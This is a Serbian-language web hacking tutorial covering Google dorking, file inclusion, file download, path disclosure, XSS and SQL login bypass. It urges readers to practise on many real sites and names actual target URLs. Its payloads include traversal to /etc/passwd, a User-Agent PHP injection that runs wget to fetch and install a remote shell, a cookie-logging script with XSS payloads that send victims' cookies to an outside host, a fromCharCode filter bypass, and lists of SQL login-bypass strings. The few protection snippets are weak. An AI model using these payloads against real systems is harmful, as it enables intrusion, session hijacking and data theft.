Web hacking methodes

55
[ Web hacking methods ] ~ By b0ne^ & Illusionist Greetings to ljuska.org members Zabranjeno kopiranje tutorial-a bez dozvole autora! [ Sadrzaj ] [ 0 ] Osnovne stvari [0] Redosled ucenja [1] Dorkovanje [2] ../ [3] Null byte bypass [4] Pronalazenje login stranice [ I ] Remote file inclusion (RFI) [1] RFI? [2] Ranjiva skripta [3] Iskoriscavanje ranjivosti [4] Null byte bypass [5] Zastita skripte [ II ] Local file inclusion (LFI) [1] LFI? [2] Pronalazenje ranjivih sajtova [3] Provera ranjivosti sajta [4] proc/self/environ [5] Uploadovanje shell-a [6] Zaobilazenje filtera [ III ] Local file download (LFD) [1] LFD? [2] Ranjiva skripta [3] Provera ranjivosti

description

Web hacking methodes bookONLY FOR LEARNING

Transcript of Web hacking methodes

Page 1: Web hacking methodes

[ Web hacking methods ]~ By b0ne^ & Illusionist

Greetings to ljuska.org members

Zabranjeno kopiranje tutorial-a bez dozvole autora!

[ Sadrzaj ]

[ 0 ] Osnovne stvari

[0] Redosled ucenja

[1] Dorkovanje

[2] ../

[3] Null byte bypass

[4] Pronalazenje login stranice

[ I ] Remote file inclusion (RFI)

[1] RFI?

[2] Ranjiva skripta

[3] Iskoriscavanje ranjivosti

[4] Null byte bypass

[5] Zastita skripte

[ II ] Local file inclusion (LFI)

[1] LFI?

[2] Pronalazenje ranjivih sajtova

[3] Provera ranjivosti sajta

[4] proc/self/environ

[5] Uploadovanje shell-a

[6] Zaobilazenje filtera

[ III ] Local file download (LFD)

[1] LFD?

[2] Ranjiva skripta

[3] Provera ranjivosti

Page 2: Web hacking methodes

[4] Iskoriscavanje ranjivosti

[5] Zastita skripte

[ IV ] Full path disclosure

[1] FPD?

[2] Prva metoda

[3] Druga metoda

[4] Zastita

[ V ] Cross site scripting (XSS)

[1] XSS?

[2] Potrebne stvari

[3] Vrste XSS-a

[4] Testiranje XSS ranjivosti

[5] Kradja cookie-a

[6] Zaobilazenje filtera

[ VI ] MySQL Injection

[1] Dorkovi

[2] Logovanje

[ VII ] SQL Injection

[1] SQL Injection?

[2] Pronalazenje ranjivog sajta

[3] Proveravanje da li je sajt ranjiv

[4] Pronalazenje broj-a kolona

[5] Pronalazenje ranjve kolone

[6] Pronalazanje verzije databaze

[7] Pronalazanje imena tabela

[8] Pronalazenje imena kolona

[9] Vadjenje podataka iz kolona

[10] Zaobilazenja filtera

[11] Zastiite vas sajt od SQL Injection-a

[12] Load file

Page 3: Web hacking methodes

[ VIII ] MsSQL Injection

[1] Pronalazenje broja kolona

[2] Pronalazenje verzije databaze

[3] Pronalazenje imena tabela

[4] Pronalazenje imena kolona

[5] Vadjenje podataka iz kolona

[ IX ] Blind SQL Injection

[1] Blind SQL Injection

[2] Provera ranjivosti sajta

[3] Pronalazenje verzije databaze

[4] MySQL user

[5] Pronalazenje imena tabela

[6] Pronalazenje imena kolona

[7] Vadjenje sadrzaja iz kolona

[8] Vadjenje sadrzaja iz kolona koriscenjem sqlmap-a

[ X ] Postgre SQL Injection

[1] Postgre SQL Injection?

[2] Pronalazenje ranjivog sajta

[3] Proveravanje da li je sajt ranjiv

[4] Pronalazenje broja kolona

[5] Pronalazenje ranjive kolone

[6] Pronalazanje verzije databaze

[7] Pronalazanje imena tabela

[8] Pronalazenje imena kolona

[9] Vadjenje podataka iz kolona

Page 4: Web hacking methodes

[ XI ] Error based Postgre SQL Injection

[1] Error based Postgre SQL Injection?

[2] Pronalazenje ranjivog sajta

[3] Proveravanje da li je sajt ranjiv

[4] Pronalazanje verzije databaze

[5] Pronalazanje imena tabela

[6] Pronalazenje imena kolona

[7] Vadjenje podataka iz kolona

[ XII ] ASPX SQL Injection

[1] Pronalazenje imena Columni

[2] Pronalazenje imena Tabeli

[3]Pronalazenje columns u Admin Tabeli

[4]Pronalazenje Username-a i Passwd-a

[ XIII ] Carriage Return and Line Feed (CRLF)

[1] CRLF?

[2] Ranjiva mesta

[3] Iskoriscavanje ranjivosti i zastita

[4] Ranjiva skripta

[ XIV ] Cross Site Request Forgery (CSRF)

[1] CSRF?

[2] Ranjiva mesta?

[3] Iskoriscavanje ranjivosti

[ XV ] Server Side Includes (SSI)

[1] SSI?

[2] Kreiranje SSI

[3] Server Side Inclusion

[4] Ranjivi sajtovi

Page 5: Web hacking methodes

[ XVI ] Symlink

[1]Sta je symlink kako radi.

[2]Symlink, uzimanje config.php fajla.

[3]Symlink na Windows operativnim sistemima

[4]Kraj

[ XVII ] Rootovanje server-a

[1] Potrebne stvari

[2] Konektovanje sa server-om

[3] uname-a i whoami i id

[4] Kompajliranje exploit-a

[5] Pokretanje exploita i dobijanje root access-a

[ Osnovne stvari ][ Sadrzaj ]

[0] Redosled ucenja

[1] Dorkovanje

[2] ../

[3] Null byte bypass

[4] Pronalazenje login stranice

0) Redosled ucenja

U ovom delu cu vam samo dati savet kojim redom bi trebalo da ucite koji tutorial i sta sve da radite kako bi ste to savladali i lepo naucili... Poenta nije da sve ovo uzmete i "naucite" za jedan dan i odradite sve kao sto je napisano... Radite postepeno sve i ponavljajte iz dana u dan na novim sajtovima sa sto manje koriscenja tutorial-a sve dok ne naucite...

#1 Remote file inclusion (RFI) - Samo procitati tutorial i lepo ga razumeti

#2 Local file inclusion (LFI) - Odraditi 3-5 sajtova, po mogucnosti jedan sa /proc/self/environ i shell upload

#3 Local file download (LFD) - Odraditi 1-2 sajta i skinuti nekoliko fajlova i direktorijuma

#4 Full path disclosure (FPD) - Odraditi 1-2 sajta

#5 Cross Site Scripting (XSS) - Odraditi 2-3 sajta, po mogucnosti jedan da bude sa cookie stealing-om

Page 6: Web hacking methodes

#6 MySQL Injection - Odraditi 2-3 sajta

#7 MsSQL Injection - Odraditi 2-3 sajta

#8 SQL Injection - Odraditi 10+ sajtova, po mogucnosti da se na nekima koristi neka vrsta bypassa

#9 Blind SQL Injection - Odraditi 2 sajta

#10 Carriage Return and Line Feed (CRLF) - Odraditi 1-2 sajta ako negde pronadjete ranjivost

#11 Cross Site Request Forgery (CSRF) - Odraditi 1-2 sajta ako negde pronadjete ranjivost

#12 Postgre SQL Injection - Odraditi 1-2 sajta ako negde pronadjete ranjivost

#13 Error based Postgre SQL Injection - Odraditi 1-2 sajta ako negde pronadjete ranjivost

#14 ASPX SQL Injection - Odraditi 1-2 sajta ako negde pronadjete ranjivost

#15 Symlink - Na ovaj nivo kada dodjete nece vam biti potrebna instrukcija koliko i sta da radite ;)

#16 Rootovanje server-a - Na ovaj nivo kada dodjete nece vam biti potrebna instrukcija koliko i sta da radite

#17 Server Side Includes (SSI) - Na ovaj nivo kada dodjete nece vam biti potrebna instrukcija koliko i sta da

radite

1) Dorkovanje

Dorkovanje nam sluzi kako bismo uz pomoc odredjenog dorka nasli sajtove koje zelimo... Dorkove kucamo na google-u u pretazi i dorkovi mogu biti na vise nacina...

Najosnovniji dork izgleda ovako:

inurl:"index.php"

Kada ovo ukucamo na google-u u pretragu kao rezultat cemo dobiti samo sajtove koji imaju index.php u link-u... Za dorkovanje mozemo jos koristiti site, --, i 2008..2010...

site nam sluzi kako bismo pretrazili nesto samo na navedenom sajtu... Primer:

site:php.net inurl:"index.php"

i za rezultat cemo dobiti samo stranice na sajtu php.net gde imamo index.php

-- nam sluzi kako bismo stavili da rezultate koji se sadrze odredjenu stvar u linku ne ispisuje... Primer:

site:php.net --index.php

i za rezultat cemo dobiti samo stranice na sajtu php.net gde nema index.php u linku

2008..2010 nam sluzi da nam ispise samo rezultate koji su nastali izmedju zadati godina... Primer:

site:php.net 2011..2012

i za rezultat cemo dobiti samo stranice koje su nastale na php.net od 2011 do 2012 godine

Page 7: Web hacking methodes

2) ../

Objasnjavene za ../ je veoma jednostavno... Recimo da se trenutno nalazimo u direktorijumu /home/sirgod/public_html/files/download Dodavanjem ../ (/home/sirgod/public_html/files/../) cemo se vratiti za jedan direktorijum unazad tako da cemo sada biti u direktorijumu /home/sirgod/public_html/files/

Mozda vam sada ovo i nije najjasnije ali ako pogledate tutorial za Local file inclusion (LFI) shvaticete za sta koristimo ../ konkretno...

3) Null byte bypass

Null byte bypass (%00) se koristi na primer u Local file inclusion (LFI) napadu... Kratko receno sve sto se nadje posle %00 ce se racunati kao da ne postoji... Recimo da mi imamo link:

http://www.sajt.com/index.php?strana=../../../../../../../../../../../../../etc/passwd

i hocemo da iscitamo sadrzaj od etc/passwd ali skripta automatski dodaje na kraj linka .php nastavak tako da ce on pokusati da iscita fajl etc/passwd.php koji ne postoji... Da bismo izbegli ovako nesto dodacemo %00 na kraj linka tako da ce link biti:

http://www.sajt.com/index.php?strana=../../../../../../../../../../../../../etc/passwd%00

tako da i ako doda nastavak .php on se nece racunati kao da je dodat...

4) Pronalazenje login stranice

Provalili ste u bazu od sajta i nasli ste podatke od admina i sada bi hteli da se ulogujete kao admin, u ovom delu cu vam objasniti kako da nadjete na sajtu gde se nalazi admin login stranica...

Prvi nacin koji mozemo koristiti da pokusamo da otkrijemo admin login stranicu jeste koriscenjem ovog sajta:

http://y-shahinzadeh.ir/af/

Udjite na link i upisite link od sajta i lupite enter i ako skripta uspe da nadje login stranicu ispisace vam je na sajtu...

Page 8: Web hacking methodes

Ukoliko ovako ne uspete da nadjete login stranicu drugin nacin je koriscenjem programa Acunetix Web Vulnerability Scanner, nadjite na google-u link i skinite ga... Pokrenite program i udjite na Web Scanner sa desne strane...

Page 9: Web hacking methodes

Upisite link od sajta i kliknite Start dugme i pocece da vam ispisuje direktorijume i fajlove na sajtu... Na vama ono sto ostaje jeste da pogledate koji se direktorijumi i fajlovi pojavljuju i da li je neki sluzi za logovanje...

[ Remote file inclusion (RFI) ][ Sadrzaj ]

[1] RFI?

[2] Ranjiva skripta

[3] Iskoriscavanje ranjivosti

[4] Null byte bypass

[5] Zastita skripte

1) RFI?

RFI(Remote File Inclusion) je metoda kojom mozete hakovati neki sajt.... Dogadja se kada se u php skripti koristi funkcija include() ili require() kako bi se uvrstili neki fajlovi kod GET metode...

Taj fajla je obicno stranica u txt formatu ciji se sadrzaj ispisuje... Primer:

http://www.sajt.com/index.php?strana=pocetna

RFI ranjivost danas vise i ne postoji ali bi bilo lepo ukoliko procitate ovaj tutorial i razumete ga jer ce vam pomoci kod shvatanja drugih napada i smisljanja spostvenih... Da biste izveli ovaj napad potreban vam je neki shell u txt formatu na nekom web sajtu...

2) Ranjiva skripta

Ranjiva skripta na RFI npr izgleda ovako:

<?php

$strana = $_GET['strana'];

include($strana);

?>

3) Iskoriscavanje ranjivosti

Imamo link od sajta:

http://www.sajt.com/index.php?strana=pocetna

sada umesto stranice pocetna cemo staviti link od naseg shell-a i nakraju dodati ?

Znaci dobijamo link:

http://www.sajt.com/index.php?strana=www.link-do-shella.com/shell.txt?

Page 10: Web hacking methodes

ako je stranica ranjiva trebalo da prikaze shell sa listom fajlova sa sajta koji napadate....

4) Null byte bypass

U nekim skriptama ima neka mala bedna zastita koja ce inkludovati fajl i dodati mu extenziju html, ili neku drugu:

<?php

$strana = $_GET['strana'];

include($strana.".html");

?>

u tom slucaju koristicemo null byte bypass(%00)...

Sve sto se nalazi posle %00 nece se racunati i koristiti... Znaci link ce nam sada biti:

http://www.sajt.com/index.php?strana=www.link-do-shella.com/shell.txt?%00

5) Zastita skripte

Skripta nam izgleda ovako:

<?php

$strana = $_GET['strana'];

include($strana);

?>

i dodacemo par stvari kako bi je zastitili tako da ce kod sada biti:

<?php

$strana = $_GET['strana'];

if(file_exists("stranice/".stripslashes($strana)))

{

include($strana);

}

?>

[ Local file inclusion (LFI) ][ Sadrzaj ]

[1] LFI?

[2] Pronalazenje ranjivih sajtova

Page 11: Web hacking methodes

[3] Provera ranjivosti sajta

[4] proc/self/environ

[5] Uploadovanje shell-a

[6] Zaobilazenje filtera

1) LFI?

LFI je skraceno od Local File Inclusion... LFI se moze izvesti na nekom sajtu na kome je link kao

http://link.com/index.php?page=

tako sto se dodaje ../../../../../../etc/passwd

Ponekad mora da se doda na passwd %00 ukoliko je u skripti stavljeno da dodaje neku ekstenziju na vrednost od ?page=

2) Pronalazenje ranjivih sajtova

Za pronalzenje ranjivih sajtova mozete koristiti neke od sledecih dorkova koje kucamo na google-u:

index.php?page=

index.php?option=

search.php?word=

3) Provera ranjivosti sajta

Nadjite neki sajt i probajte da dodate ../../../../../../../../../../../etc/passwd ili ../../../../../../../../../../../etc/passwd%00 na kraj linka

Broj ../ nije vazan toliko ali je uvek bolje da stavite makar 7-8 kako biste se sigurno vratili u pocetnik direktoriujm… Ja sam nasao jedan sajt:

http://www.altego.co.rs/page.php?str=o_nama.php

I sada kada zamenimo o_nama.php u linku dobijamo link:

http://www.altego.co.rs/page.php?str=../../../../../../../../../../../../../../etc/passwd%00

Kada udjemo na link na strani ispisace nam ovo:

root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin

Page 12: Web hacking methodes

mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin puppet:*:814:814:Puppet Daemon:/nonexistent:/sbin/nologin loopia:*:1001:1001:User:/usr/accounts/loopia:/bin/tcsh stats:*:1002:1002:User &:/usr/accounts/stats:/bin/sh sconf:*:1003:1003:provisioning account for web servers:/usr/accounts/sconf:/bin/sh munin:*:842:842:Munin:/var/munin:/usr/sbin/nologin

sto znaci da je sajt ranjiv...

4) proc/self/environ

Sada zelimo da vidimo da li imamo pristup u /proc/self/environ preko kojeg mozemo da ubacimo shell na sajt...

Umesto etc/passwd%00 stavicemo /proc/self/environ%00... Tako da ce sada biti link:

http://www.altego.co.rs/page.php?str=../../../../../../../../../../../../../../proc/self/environ%00

i ukoliko na stranici ispise:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster**website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Serv..........

onda je proc/self/environ dozovoljen i mozemo da uploadujemo shell.... Ovaj sajt koji sam koristio za primer nije ranjiv ali vi mozete naci neke koji jesu…

5) Uploadovanje shell-a

Da bismo mogli da ubacimo shell treba nam:

Mozila: http://www.mozilla.com/firefox

Page 13: Web hacking methodes

Add-on Tamper Data: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

Otvorite sajt na kome je dozvoljen proc/self/environ pa idite na Tools > Tamper Data

Kliknite Start Tamper i onda refreshujte stranicu... Za User Agent ubacite sledeci kod:

<?php system('wget www.link.com/shell.txt -O shell.php'); ?>

i kliknite ok.... Umesto www.link.com/shell.txt upisujete link od nekog shell-a u txt formatu koji ste okacili ili nasli na neom sajtu... Shell-u mozete pristupiti na sledeci nacin...

www.link.com/shell.php

6) Zaobilazenje filtera

Bypassovanje LFI napada se moze izvrsiti na dva nacina... Prvi nacin je da na kraj linka na %00 dodamo .png... Link bi onda izgledao ovako:

http://link.com/index.php?page=../../../../../../../../../../../../etc/passwd%00.png

Drugi nacin bypassovanja jeste dodavanjem uglatih zagrada [ i ]... Link ce izgledati ovako:

http://link.com/index.php?page=[../../../../../../../../../../../../etc/passwd%00]

[ Local file download (LFD) ][ Sadrzaj ]

[1] LFD?

[2] Ranjiva skripta

[3] Provera ranjivosti

[4] Iskoriscavanje ranjivosti

[5] Zastita skripte

1) LFD?

LFD (Local File Download) je ranjivost u skripti koja se javlja kada se skripta koristi za preuzimanje fajlova koriscenjem GET metode, ali moze i kod POST metode koriscenjem add-ona Tamper Data. Skripta preuzima fajlove iz direktorijum-a... Primer linka:

http://sajt.com/preuzmi_fajl.php?fajl=notepad.exe

2) Ranjiva skripta

Primer ranjive skripte izgleda ovako:

<?php

if(isset($_POST['preuzmi']))

Page 14: Web hacking methodes

{

$fajl = $_GET['fajl'];

$fajl_info = pathinfo($fajl);

header('Content-type: application/x-'.$fajl_info['extension']);

header('Content-Disposition: attachment; filename='.$fajl_info['basename']);

header('Content-Length: '.filesize($fajl));

readfile($fajl);

exit;

}

?>

3) Provera ranjivosti

Da bismo proverili da li je skripta ranjiva probacemo da preuzmemo etc/passwd....

Znaci umesto

http://sajt.com/preuzmi_fajl.php?fajl=notepad.exe

stavicemo

http://sajt.com/preuzmi_fajl.php?fajl=../../../../../../../../../etc/passwd

Broj ../ je nebitan ali je vazno da ih ima dovoljno da bismo se vratili u pocetni direktorijum u ovom slicaju....

Ukoliko pocne download, i ukoliko kada se otvori u text editoru pise nesto slicno ovome:

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

skripta je ranjiva

Ukoliko se radi o windows serveru umesto etc/passwd stavite boot.ini

4) Iskoriscavanje ranjivosti

Sada kada smo utvrdili da je skripta ranjiva, zelimo da vidimo koji su sve fajlovi na hostingu... To cemo uraditi na sledeci nacin:

http://sajt.com/preuzmi_fajl.php?fajl=../

../ ce nas vratiti jedan direktorijum unazad i skinuce fajl...

Imamo 2 moguca slucaja sta ce se desiti:

#1 Moze se desiti da kada se skine fajl i otvori u text editoru ispise listu fajlova i direktorijuma

#2 Ili se moze desiti da skine fajl ali da kada se otvori u text editoru fajl bude prazan

Page 15: Web hacking methodes

u slucaju 1 ne moramo da nagadjamo imena fajlova i direktorijuma i mozemo da skidamo sta god nam je volja

u slucaju 2 moramo da nagadjamo imena fajlova i direktorijuma i mozemo da skidamo samo fajlova kojima pogodimo ime... postoje neki programi koji nam mogu pomoci oko

nalazenja fajlova... to su npr:

Acunetix i HTTrack Website Copier…

5) Zastita skripte

Skriptu cemo zastiti tako sto cemo dodati if(file_exists("download/".$fajl), kod ce biti:

<?php

if(isset($_POST['preuzmi']))

{

$fajl = $_GET['fajl'];

$fajl_info = pathinfo($fajl);

if(file_exists("download/".$fajl))

{

header('Content-type: application/x-'.$fajl_info['extension']);

header('Content-Disposition: attachment; filename='.$fajl_info['basename']);

header('Content-Length: '.filesize($fajl));

readfile($fajl);

exit;

}

}

?>

[ Full path disclosure (FPD) ][ Sadrzaj ]

Page 16: Web hacking methodes

[1] FPD?

[2] Prva metoda

[3] Druga metoda

[4] Zastita

1) FPD?

Ova metoda vam omogucava da izazovete gresku na sajtu iz koje mozete videti neke od direktorijuma koji postoje... Preko ove metode ne mozete direktno hakovati sajt, ona vam samo pomaze pri hakovanju. Moze vam na primer pomocu u Local File Inclusion (LFI) napadu ili Local File Download (LFD) napadu itd... Postoji mnogo nacina izvrsavanja FPD ranjivosti na sajtu, ja cu vam objasniti 2 najcesce ranjivost...

2) Prva metoda

Prvo otkrivanje ranjivosti je dodavanjem uglatih zagrada na ovakav link

index.php?page=home

Da bi izvrsili ovu ranjivost potrebno je da dodate [] na odredjeno mesto... Tako da ce link sada biti:

http://www.link.com/index.php?page[]=home

To ce vam izbaciti gresku koja je slicna ovoj:

Warning: include(blah/greske.php) [function.include]: failed to open stream: No such file or directory /home/insekure/public_html/index.php on line 211

Iz ovoga se vidi da na sajtu postoji i direktorijum 'blah'

3) Druga metoda

Druga metoda otkrivanja ove ranjivosti na sajtu je da se doda neupotrebljivi cookie (Null Session Cookie), a njega mozete ubaciti Java-injection-om, modifikovanjem odredjenog javascript koda na sajt dobicete gresku.

Ovaj javascript kod

javascript:void(document.cookie='PHPSESSID=');

ubacite u adress bar na vasem web browseru i lupite enter, sada kada se refresujete page treba da dobijete odredjeni error tj gresku. Greska bi izgledala ovako:

Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/thems/errors.php on line 58

Iz cega vidimo da postoji direktorijum themes na sajtu...

4) Zastita

Page 17: Web hacking methodes

Najjednostavniji nacin da se zastite od ovih napada je da jednostavno iskljucite error_reporting… Na pocetak fajla koji ce biti inclodovan svuda stavite sledeci kod:

error_reporting(0);

Ovaj kod koristi se ukoliko je u pitanju PHP… Takodje mozete i koristiti i echo fake errors, kako bi ste zbunili hakera.

Zelim jos da vas upozorim, da ne mozete samo ovom tehnikom hakovati ceo sajt, morate se i osloniti i na druge tehnike.

[ Cross site scripting (XSS) ][ Sadrzaj ]

[1] XSS?

[2] Potrebne stvari

[3] Vrste XSS-a

[4] Testiranje XSS ranjivosti

[5] Kradja cookie-a

[6] Zaobilazenje filtera

1) XSS?

XSS je vrsta web napada... On dozvoljava napdacu da izvrsi neki HTML ili Javascript kod na sajtu... XSS je skaraceno od Cross Site Scripting... XSS se moze koristiti na vise nacina... Moze se koristiti za jednostavno izvrsavanje HTML ili Javascript komandi od cega nemamo nista, ali moze se iskoristiti i za kradju cookie-a... Cookie injectujemo u nas browser i mozemo pristupiti necijem account-u bez potrebe da se ulogujemo na tom sajtu...

2) Potrebne stvari za kradju cookie-a

Mozila FireFox:

http://www.mozilla.org/en-US/products/download.html?product=firefox-3.0.5&os=win&lang=en-GB

Add-on Firebug:

https://addons.mozilla.org/en-US/firefox/addon/firebug/

Add-on FireCookie:

https://addons.mozilla.org/en-US/firefox/addon/firecookie/

Page 18: Web hacking methodes

Add-on Live HTTP Headers:

https://addons.mozilla.org/en-US/firefox/downloads/file/28118/live_http_headers-0.14-fx+sm.xpi

Bilo bi pozeljno osnovno razumevanje/znanje Javascripta!

3) Testiranje XSS ranjivosti

Sajtovi na kojima bi mogao da se izvede XSS su oni gde ima input za text i dugme za submit i na sajtovim-a gde se koristi neka GET metoda za ispisivanje necega na stranici...

Primer GET metode:

www.sajt.com/index.php?stranica=<script>alert("XSS")</script>

Primer za input:

Kada nadjemo neki sajt koji bi mogao da bude ranjiv na XSS uvek cemo probati najjednostavniju javascript komandu kako bi smo proverili ranjivost... Ta komanda je:

<script>alert("XSS")</script>

Ili ako zelite mozemo da koristimo i HTML komandu sto je po meni sigurnije jer nekada nece da se izvrsi javascript kod:

<h1>XSS</h1>

Sad cu objasniti sta ova komanda radi....

<script> otvaramo script tag

alert("XSS”) skocice prozor u kome ce pisati XSS

</script> zatvaramo script tag

Ukoliko izbaci ovako nesto

sajt je ranjiv… Umesto

<script>alert("XSS")</script>

mozemo koristiti komandu

<script>document.write("XSS")</script>

koja ce na stranici ispisati samo XSS...

Page 19: Web hacking methodes

4) Vrste XSS-a

Sada kada smo otkrili da je sajt ranjiv na XSS imamo vise nacina XSS-a.... A to su:

- Cookie stealing - ukrademo cookie od nekog korisnika(najcesce admin), ubacimo cookie u nas browser i kada udjemo na sajt na kome smo ukrali cookie bicemo vec ulogovani kao korisnik ciji je cookie

- Cross-Site Request Forgery - skraceno je CSRF ili XSRF... u ovoj vrsti xss-a saljemo na server neke komande bez znanja korisnika(da promeni sifru naprimer)

- XSS Worms - xss worm je zlonamerna skripta koja ima mogucnost da se rasiri po celom sajtu

- Door-Forwarding - skripta napravi iframe koji ce izvrsiti neki exploit ili zapoceti skidanje nekog fajla(rat, keylogger, istealert itd...)... Napdai su vrlo retki ali se idalje koriste...

- Keylogging - snima sve sto korisnik kuca i salje napdacu... Nije tolko cest napad ali se idalje koristi...

5) Kradja cookie-a

Za cookie stealing trebace nam:

- ranjiva stranica

- web hosting gde ce stajati skripte

- php skripta

Okacite ovu skriptu na neki hosting pod imenom cookie.php ili bilo kojim drugim sa ekstenzijom .php:

<?php

if(!empty($HTTP_GET_VARS["cookie"]))

{

$cookie = $HTTP_GET_VARS["cookie"];

$file = fopen('cookielog.txt', 'a');

fwrite($file, $cookie."\n");

}

?>

Pokretanje skripte:

<script>document.location="http://www.link.com/cookie.php?cookie=" + document.cookie;</script>

ili

<script>location.href="http://www.link.com/cookie.php?cookie=" + document.cookie;</script>

ili

<script>window.open('http://www.link.com/cookie.php?cookie=' + document.cookie;)</script>

Page 20: Web hacking methodes

ili

<script>window.location='http://www.link.com/cookie.php?cookie=' + document.cookie;</script>

Kako ovo radi?

Radi tako sto kada neki korisnik udje na stranicu na kojoj se nalazi ovaj javascript komanda koja pokrece cookie logger i njegov cookie se snimi.... Tada mi uzmemo i ubacimo dobijeni cookie... Evo malo objasnjenje kako ubaciti cookie...

1) Otvorite Mozilu

2) Otvorite Add-on Fire bug

3) Upisite ime cookie-a i value cooki-a.... Evo jedan cookie....

PHPSESSID=db3e4e100ab6bb912de1b80c4eed7898

iz ovog cookie naslov je PHPSESSID

iz ovog cookiea value je b3e4e100ab6bb912de1b80c4eed7898

Page 21: Web hacking methodes

6) Zaobilazenje filtera

#1 Brisanje script taga

Ako naprimer unesemo

<script>alert("XSS")</script>

i on ostavi samo komandu alert("XSS")... ova zastita brise script tagove <script> i </script>... Evo i kako zaobici zastitu:

umesto <script>alert("XSS")</script> stavicemo <scr<script>ipt>alert("XSS")</scr</script>ipt>

Kako ovo radi? Radi tako sto skripta brise <script> i </script> on ce obrisate te tagove i onda ce se nasi razdvojeni tagovi spoijiti, a skripte ih nece obrisati i skripta ce raditi...

#2 magic_quotes

Ukoliko ne znate sta su magic_quotes procitajte ovde:

http://en.wikipedia.org/wiki/Magic_quotes

Ukoliko upisete <script>alert("XSS")</script> a ispise vam <script>alert(\"XSS\")</script> u pitanju je magic_quotes zastita... magic_quotes zastita je malo teza za zaobilazenje... Radi se pomocu funkcije String.fromCharCode...

Evo primera.... Kazemo da je ovo link od naseg cookie logera:

http://link.com/cookie.php

mi bismo koristili

<script>location.href="http://www.link.com/cookie.php?cookie=" + document.cookie;</script>

Page 22: Web hacking methodes

tako da to sada pretvaramo u:

<script>location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,108,105,110,107,46,99,111,109,47,99,111,111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie;

</script>

Ovo radi tako sto magic_quotes dodaju \ kod ' ili " a kada se koristi integer(tj broj) ne koriste se ' ili " Ovde smo http://www.link.com/cookie.php?cookie= pretvorili u gore decimalan kod uz pomoc toola sa sledeceg linka:

Ascii to Decimal

http://pookey.co.uk/binary.php

[ MySQL Injection ][ Sadrzaj]

[1] Dorkovi

[2] Logovanje

1) Dorkovi

inurl:admin.asp

inurl:login/admin.asp

inurl:admin/login.asp

inurl:adminlogin.asp

inurl:adminhome.asp

inurl:admin_login.asp

inurl:administrator_login.asp

ja cu koristiti

http://globaloiljobs.com/Admin_Login.asp

2) Logovanje

Sada nadjite neki sajt preko ovih dorkova i probajte da se ulogujete sa:

Username: Admin

Password: ' or 1=1--

Page 23: Web hacking methodes

Umesto password-a 'or'1'='1 mozete koristiti neke od ovih:

'or'1'='1

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

'or'1=1'

' or 1=1-- ce zbuniti server i pustice vas da se ulogujete... Ukoliko znate MySQL procitajte i ovaj deo kako biste u potpunosti razumeli sta se dogadja... Recimo da query u php-u izgleda ovako:

mysql_query("SELECT * FROM `users` WHERE `username` = '$username' AND `password` = '$password'");

gde su $username i $password vrednosti unete u formi...

Kada za password stavimo ' or 1=1-- i za username Admin, predpostavljajuci da postoji korisnik sa username-om Admin, query ce izgledati ovako:

mysql_query("SELECT * FROM `users` WHERE `username` = 'Admin' AND `password` = '' or 1=1--'");

